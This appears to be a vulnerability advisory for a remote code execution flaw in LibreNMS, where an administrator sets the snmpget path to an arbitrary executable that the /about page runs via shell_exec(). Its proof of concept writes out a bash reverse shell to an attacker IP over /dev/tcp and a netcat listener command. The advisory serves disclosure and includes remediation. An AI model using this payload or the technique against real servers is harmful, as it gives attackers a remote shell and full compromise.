Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges

---

Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

'version_netsnmp' => str_replace('version: ', '', 
    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

• Endpoint: PUT /settings/snmpget
• Controller: SettingsController::update()
• Required Privileges: Administrator
• Config Definition: resources/definitions/config_definitions.json

"snmpget": {
    "default": "/usr/bin/snmpget",
    "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

| Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE |

---

PoC

Prerequisites

• Valid administrator credentials for LibreNMS web interface
• Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:

• Settings → External → Binaries
• Locate snmpget configuration
• Update the value to: /tmp/rev_shell.sh
• Click Save

<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

<img width="1861" height="957" alt="image" src="https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b" />

---

Impact Summary

| Category | Level | Description | |----------|-------|-------------| | Confidentiality | HIGH | Read config files, database credentials, SSH keys | | Integrity | HIGH | Create webshells, backdoors, modify code | | Availability | HIGH | Disrupt services, delete data, stop monitoring | | Scope | CHANGED | Compromise extends beyond application to system |

Who Is Impacted

• LibreNMS installations where attacker has admin credentials AND file system access
• Organizations using LibreNMS for network monitoring
• Systems monitored by LibreNMS (lateral movement risk)

---

Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();